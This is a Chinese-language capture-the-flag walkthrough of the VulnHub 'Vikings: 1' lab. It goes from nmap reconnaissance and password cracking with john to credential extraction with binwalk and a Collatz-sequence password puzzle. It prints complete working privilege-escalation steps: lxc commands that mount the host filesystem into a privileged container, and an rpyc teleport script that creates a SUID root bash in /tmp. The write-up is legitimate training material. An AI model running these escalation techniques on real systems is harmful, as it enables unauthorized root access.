vulnhub靶場之VIKINGS: 1

準備:

攻擊機:虛擬機kali、本機win10。

靶機:DRIPPING BLUES: 1,網段地址我這裡設置的橋接,所以與本機電腦在同一網段,下載地址://download.vulnhub.com/vikings/Vikings.ova,下載後直接vbox打開即可。

知識點:binwalk獲取隱藏資訊、base64文件解密、john爆破密碼、考拉茲猜想、rpyc提權、lxd提權。

資訊收集:

通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.1.0/24,獲得靶機地址:192.168.1.34。

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.1.34,顯示開放了21、80埠,開啟了ssh、http服務。

訪問web服務並檢查源程式碼資訊未發現有效資訊,使用dirmap進行目錄掃描,發現war.txt。

訪問war.txt文件給出了一個目錄:/war-is-over,訪問該目錄://192.168.1.34/site/war-is-over/,返回的是一串加密的字元串。

字元串解密:

將base64編碼(最後存在=,猜測應該是base64)的字元串進行解碼保存到本地並使用file查看文件類型,獲得文件類型為zip,命令:curl //192.168.1.34/site/war-is-over/ | base64 -d > upfine。

修改文件後綴名然後進行解壓文件,但是顯示需要密碼。使用fcrackzip進行密碼的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失敗。

fcrackzip爆破失敗,那我們就使用zip2john把他的密碼資訊提取出來,命令:zip2john upfine.zip > passwd,然後使用john進行破解,命令:john passwd –show,成功獲得密碼:ragnarok123。

對文件進行解密,解密之後發現是一張圖片。

圖片解密:

使用steghide獲取隱藏資訊,但是獲取失敗,就換了下工具使用binwalk獲取隱藏資訊,發現存在一個user文件。

使用binwalk獲取下user文件並進行查看,命令:binwalk -e king。查看後獲得兩組字元串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。

獲取shell:

根據獲取的字元串資訊猜測是一組賬戶名和密碼,經過測試最終:floki:f@m0usboatbuilde7可以成功登錄。

在當前賬戶下查看下目錄資訊,發現了readme.txt文件和boat文件並讀取文件內容,內容資訊告訴我們要找到ragnar,這裡猜測這是一個賬戶,boat文件告訴我們要進行考拉茲猜想第29個素數。

提權-方式一:

查看當前用戶下具有root許可權的可執行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,發現了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到過policykit兩個漏洞:CVE-2021-4034和CVE-2021-3560,在這裡測試無法提權。但是lxd提權在這裡是可以實現的。

這裡不是一個完整的lxd提權漏洞,因為鏡像等一些資訊都是已經安裝好的,在我們進行安裝時提示我們已經存在了,所以我們直接利用他原有的鏡像就可以實現提權。

查看下image列表資訊,命令:lxc image list。

之後依次執行下面語句,成功獲得root許可權。

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

獲得root許可權後進入root目錄:cd /mnt/root/root,發現root.txt文件並讀取flag值。

提權-方式二:

考拉茲猜想:

先理解下考拉茲猜想,直接看下圖,這個說的很直觀。

查找了一下第29個素數,顯示是109,那寫一個簡單的腳本跑一下29的Collatz 序列。

collatz腳本
#對任意正整數n,若n為偶數則除以1,若n為奇數則乘3再加1,如此反覆,其結果最終必會達到1
#部落格園@upfine

num = 109
collatz=[109]
while num != 1:
    if num % 2 == 1:
        num = num * 3 + 1
    else:
        num = num / 2
    if num <= 127 and num >32:  #asii表內字元對應的10進位範圍
        collatz.append(int(num))
print(collatz)
Collatz 序列結果
 [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

然後寫一個簡單的腳本對Collatz 序列進行轉換,轉換後獲得一串字元串:mR)|>^/Gky[gz=\.F#j5P(,猜測是密碼。

獲取ragnar賬戶shell:

嘗試使用ragnar/mR)|>^/Gky[gz=\.F#j5P(進行shell登錄,成功登錄,在ragnar賬戶下發現第一個flag資訊。

提權:

在ragnar賬戶目錄下,發現多出來了一個.profile文件,查看該文件內容發現以root許可權調用了/usr/local/bin/rpyc_classic.py文件。

查看該文件許可權,顯示只具有讀取許可權,無法寫入。這裡找了下腳本直接將root許可權進行複製。

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
 
fn = conn.teleport(getshell)
fn()

 寫入exp.py文件進行執行,會在/tmp文件夾下生成bashroot文件,執行bashroot文件(./bashroot -p)獲得root許可權。

 在root目錄下發現root.txt文件,讀取文件資訊獲取到flag。